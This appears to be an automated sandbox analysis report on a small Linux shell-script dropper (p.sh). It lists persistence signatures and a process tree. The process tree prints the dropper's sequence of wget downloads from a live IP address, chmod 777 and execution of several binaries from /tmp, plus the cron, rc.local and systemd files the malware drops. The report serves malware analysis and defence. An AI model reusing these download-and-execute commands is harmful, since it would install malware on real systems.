Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/07/2026, 13:11

General

  • Target
    p.sh
  • Size 839B
  • Sample260722-qe7pcafa95
  • SHA256 0b5f12c44318ad9d1ed909a2c56463ffe5de7f3627402140de7ae75fc3462a52
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/p.sh
    /tmp/p.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:647
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:649
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:655
        • /bin/ls
          ls -l /proc/107/exe
          2⤵
            PID:659
          • /bin/ls
            ls -l /proc/109/exe
            2⤵
            • Reads runtime system information
            PID:663
          • /bin/ls
            ls -l /proc/11/exe
            2⤵
            • Reads runtime system information
            PID:668
          • /bin/ls
            ls -l /proc/110/exe
            2⤵
              PID:669
            • /bin/ls
              ls -l /proc/12/exe
              2⤵
              • Reads runtime system information
              PID:673
            • /bin/ls
              ls -l /proc/13/exe
              2⤵
                PID:676
              • /bin/ls
                ls -l /proc/138/exe
                2⤵
                  PID:680
                • /bin/ls
                  ls -l /proc/14/exe
                  2⤵
                    PID:681
                  • /bin/ls
                    ls -l /proc/142/exe
                    2⤵
                      PID:683
                    • /bin/ls
                      ls -l /proc/143/exe
                      2⤵
                        PID:684
                      • /bin/ls
                        ls -l /proc/15/exe
                        2⤵
                          PID:685
                        • /bin/ls
                          ls -l /proc/159/exe
                          2⤵
                            PID:686
                          • /bin/ls
                            ls -l /proc/16/exe
                            2⤵
                              PID:688
                            • /bin/ls
                              ls -l /proc/17/exe
                              2⤵
                                PID:689
                              • /bin/ls
                                ls -l /proc/170/exe
                                2⤵
                                • Reads runtime system information
                                PID:690
                              • /bin/ls
                                ls -l /proc/18/exe
                                2⤵
                                • Reads runtime system information
                                PID:691
                              • /bin/ls
                                ls -l /proc/19/exe
                                2⤵
                                  PID:692
                                • /bin/ls
                                  ls -l /proc/2/exe
                                  2⤵
                                    PID:693
                                  • /bin/ls
                                    ls -l /proc/20/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:694
                                  • /bin/ls
                                    ls -l /proc/208/exe
                                    2⤵
                                      PID:695
                                    • /bin/ls
                                      ls -l /proc/21/exe
                                      2⤵
                                        PID:696
                                      • /bin/ls
                                        ls -l /proc/22/exe
                                        2⤵
                                          PID:697
                                        • /bin/ls
                                          ls -l /proc/23/exe
                                          2⤵
                                            PID:698
                                          • /bin/ls
                                            ls -l /proc/231/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:699
                                          • /bin/ls
                                            ls -l /proc/24/exe
                                            2⤵
                                              PID:700
                                            • /bin/ls
                                              ls -l /proc/25/exe
                                              2⤵
                                                PID:701
                                              • /bin/ls
                                                ls -l /proc/26/exe
                                                2⤵
                                                  PID:702
                                                • /bin/ls
                                                  ls -l /proc/27/exe
                                                  2⤵
                                                    PID:703
                                                  • /bin/ls
                                                    ls -l /proc/28/exe
                                                    2⤵
                                                      PID:704
                                                    • /bin/ls
                                                      ls -l /proc/289/exe
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:705
                                                    • /bin/ls
                                                      ls -l /proc/29/exe
                                                      2⤵
                                                        PID:706
                                                      • /bin/ls
                                                        ls -l /proc/290/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:707
                                                      • /bin/ls
                                                        ls -l /proc/292/exe
                                                        2⤵
                                                          PID:708
                                                        • /bin/ls
                                                          ls -l /proc/293/exe
                                                          2⤵
                                                            PID:709
                                                          • /bin/ls
                                                            ls -l /proc/295/exe
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:710
                                                          • /bin/ls
                                                            ls -l /proc/3/exe
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:711
                                                          • /bin/ls
                                                            ls -l /proc/304/exe
                                                            2⤵
                                                              PID:712
                                                            • /bin/ls
                                                              ls -l /proc/308/exe
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:713
                                                            • /bin/ls
                                                              ls -l /proc/316/exe
                                                              2⤵
                                                                PID:714
                                                              • /bin/ls
                                                                ls -l /proc/321/exe
                                                                2⤵
                                                                  PID:715
                                                                • /bin/ls
                                                                  ls -l /proc/325/exe
                                                                  2⤵
                                                                    PID:716
                                                                  • /bin/ls
                                                                    ls -l /proc/4/exe
                                                                    2⤵
                                                                      PID:717
                                                                    • /bin/ls
                                                                      ls -l /proc/41/exe
                                                                      2⤵
                                                                        PID:718
                                                                      • /bin/ls
                                                                        ls -l /proc/42/exe
                                                                        2⤵
                                                                          PID:719
                                                                        • /bin/ls
                                                                          ls -l /proc/43/exe
                                                                          2⤵
                                                                            PID:720
                                                                          • /bin/ls
                                                                            ls -l /proc/5/exe
                                                                            2⤵
                                                                              PID:721
                                                                            • /bin/ls
                                                                              ls -l /proc/567/exe
                                                                              2⤵
                                                                                PID:722
                                                                              • /bin/ls
                                                                                ls -l /proc/579/exe
                                                                                2⤵
                                                                                  PID:723
                                                                                • /bin/ls
                                                                                  ls -l /proc/583/exe
                                                                                  2⤵
                                                                                    PID:724
                                                                                  • /bin/ls
                                                                                    ls -l /proc/593/exe
                                                                                    2⤵
                                                                                      PID:725
                                                                                    • /bin/ls
                                                                                      ls -l /proc/594/exe
                                                                                      2⤵
                                                                                        PID:726
                                                                                      • /bin/ls
                                                                                        ls -l /proc/6/exe
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:729
                                                                                      • /bin/ls
                                                                                        ls -l /proc/635/exe
                                                                                        2⤵
                                                                                          PID:731
                                                                                        • /bin/ls
                                                                                          ls -l /proc/638/exe
                                                                                          2⤵
                                                                                            PID:733
                                                                                          • /bin/ls
                                                                                            ls -l /proc/640/exe
                                                                                            2⤵
                                                                                              PID:735
                                                                                            • /bin/ls
                                                                                              ls -l /proc/642/exe
                                                                                              2⤵
                                                                                                PID:737
                                                                                              • /bin/ls
                                                                                                ls -l /proc/644/exe
                                                                                                2⤵
                                                                                                  PID:739
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/645/exe
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:741
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/646/exe
                                                                                                  2⤵
                                                                                                    PID:744
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/647/exe
                                                                                                    2⤵
                                                                                                      PID:745
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/648/exe
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:748
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/7/exe
                                                                                                      2⤵
                                                                                                        PID:750
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/76/exe
                                                                                                        2⤵
                                                                                                          PID:752
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/8/exe
                                                                                                          2⤵
                                                                                                            PID:754
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/9/exe
                                                                                                            2⤵
                                                                                                              PID:756
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/98/exe
                                                                                                              2⤵
                                                                                                                PID:759
                                                                                                              • /bin/rm
                                                                                                                rm -rf D1Qd
                                                                                                                2⤵
                                                                                                                  PID:761
                                                                                                                • /usr/bin/wget
                                                                                                                  wget http://129.121.110.105/D1Qd
                                                                                                                  2⤵
                                                                                                                  • Writes file to tmp directory
                                                                                                                  PID:763
                                                                                                                • /bin/chmod
                                                                                                                  chmod 777 D1Qd
                                                                                                                  2⤵
                                                                                                                  • File and Directory Permissions Modification
                                                                                                                  PID:783
                                                                                                                • /tmp/D1Qd
                                                                                                                  ./D1Qd pdvr
                                                                                                                  2⤵
                                                                                                                  • Creates/modifies Cron job
                                                                                                                  • Modifies rc script
                                                                                                                  • Modifies systemd
                                                                                                                  • Checks CPU configuration
                                                                                                                  • Reads runtime system information
                                                                                                                  PID:785
                                                                                                                  • /usr/local/sbin/systemctl
                                                                                                                    systemctl daemon-reload
                                                                                                                    3⤵
                                                                                                                      PID:802
                                                                                                                    • /usr/local/sbin/systemctl
                                                                                                                      systemctl enable crond.service
                                                                                                                      3⤵
                                                                                                                        PID:803
                                                                                                                      • /usr/local/bin/systemctl
                                                                                                                        systemctl daemon-reload
                                                                                                                        3⤵
                                                                                                                          PID:802
                                                                                                                        • /usr/local/bin/systemctl
                                                                                                                          systemctl enable crond.service
                                                                                                                          3⤵
                                                                                                                            PID:803
                                                                                                                          • /usr/sbin/systemctl
                                                                                                                            systemctl enable crond.service
                                                                                                                            3⤵
                                                                                                                              PID:803
                                                                                                                            • /usr/sbin/systemctl
                                                                                                                              systemctl daemon-reload
                                                                                                                              3⤵
                                                                                                                                PID:802
                                                                                                                              • /usr/bin/systemctl
                                                                                                                                systemctl daemon-reload
                                                                                                                                3⤵
                                                                                                                                  PID:802
                                                                                                                                • /usr/bin/systemctl
                                                                                                                                  systemctl enable crond.service
                                                                                                                                  3⤵
                                                                                                                                    PID:803
                                                                                                                                  • /sbin/systemctl
                                                                                                                                    systemctl daemon-reload
                                                                                                                                    3⤵
                                                                                                                                      PID:802
                                                                                                                                    • /sbin/systemctl
                                                                                                                                      systemctl enable crond.service
                                                                                                                                      3⤵
                                                                                                                                        PID:803
                                                                                                                                      • /bin/systemctl
                                                                                                                                        systemctl daemon-reload
                                                                                                                                        3⤵
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:802
                                                                                                                                      • /bin/systemctl
                                                                                                                                        systemctl enable crond.service
                                                                                                                                        3⤵
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:803
                                                                                                                                    • /bin/rm
                                                                                                                                      rm -rf 5F5E
                                                                                                                                      2⤵
                                                                                                                                        PID:790
                                                                                                                                      • /usr/bin/wget
                                                                                                                                        wget http://129.121.110.105/5F5E
                                                                                                                                        2⤵
                                                                                                                                          PID:792
                                                                                                                                        • /bin/chmod
                                                                                                                                          chmod 777 5F5E
                                                                                                                                          2⤵
                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                          PID:804
                                                                                                                                        • /tmp/5F5E
                                                                                                                                          ./5F5E pdvr
                                                                                                                                          2⤵
                                                                                                                                            PID:805
                                                                                                                                          • /bin/rm
                                                                                                                                            rm -rf D32
                                                                                                                                            2⤵
                                                                                                                                              PID:806
                                                                                                                                            • /usr/bin/wget
                                                                                                                                              wget http://129.121.110.105/D32
                                                                                                                                              2⤵
                                                                                                                                                PID:807
                                                                                                                                              • /bin/chmod
                                                                                                                                                chmod 777 D32
                                                                                                                                                2⤵
                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                PID:818
                                                                                                                                              • /tmp/D32
                                                                                                                                                ./D32 pdvr
                                                                                                                                                2⤵
                                                                                                                                                  PID:821
                                                                                                                                                • /bin/rm
                                                                                                                                                  rm -rf jc6
                                                                                                                                                  2⤵
                                                                                                                                                    PID:823
                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                    wget http://129.121.110.105/jc6
                                                                                                                                                    2⤵
                                                                                                                                                      PID:824
                                                                                                                                                    • /bin/chmod
                                                                                                                                                      chmod 777 jc6
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:825
                                                                                                                                                    • /tmp/jc6
                                                                                                                                                      ./jc6 pdvr
                                                                                                                                                      2⤵
                                                                                                                                                        PID:826
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -rf vsxv
                                                                                                                                                        2⤵
                                                                                                                                                          PID:827
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget http://129.121.110.105/vsxv
                                                                                                                                                          2⤵
                                                                                                                                                            PID:828
                                                                                                                                                          • /bin/chmod
                                                                                                                                                            chmod 777 vsxv
                                                                                                                                                            2⤵
                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                            PID:829
                                                                                                                                                          • /tmp/vsxv
                                                                                                                                                            ./vsxv pdvr
                                                                                                                                                            2⤵
                                                                                                                                                              PID:830
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm -rf p
                                                                                                                                                              2⤵
                                                                                                                                                                PID:831

                                                                                                                                                            Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  crond

                                                                                                                                                                  • Path /etc/cron.d/crond
                                                                                                                                                                  • Size 31B
                                                                                                                                                                  • SHA256 fc49332cce5b47296b6aa4ecd9a5f4ee77d7a4c6d891628f180833f011a9427e
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  rc.local

                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                  • Size 10B
                                                                                                                                                                  • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  rc.local

                                                                                                                                                                  • Path /etc/rc.local
                                                                                                                                                                  • Size 35B
                                                                                                                                                                  • SHA256 18e22354b3a63ab1536417294f275acb2da87fac1f526236671d1796273f53b3
                                                                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                                                                  crond.service

                                                                                                                                                                  • Path /etc/systemd/system/crond.service
                                                                                                                                                                  • Size 194B
                                                                                                                                                                  • SHA256 a8935c203609175d901b93ef5e2f2385db17bbc1662be1f153fee736ae5d507c
                                                                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                  D1Qd

                                                                                                                                                                  • Path /tmp/D1Qd
                                                                                                                                                                  • Size 69KB
                                                                                                                                                                  • SHA256 557819ae8a9fbe20d7318a396bda128c21d4cf14ea9babc56b4dd4ba9e429896
                                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                  p

                                                                                                                                                                  • Path /tmp/p
                                                                                                                                                                  • Size 1B
                                                                                                                                                                  • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                                  • MD5 SHA1 SHA512